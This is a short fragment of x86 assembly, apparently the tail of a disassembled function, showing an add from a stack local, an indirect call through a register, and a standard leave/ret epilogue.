add ecx, dword [ebp - 0x18]
call ebx
leave
ret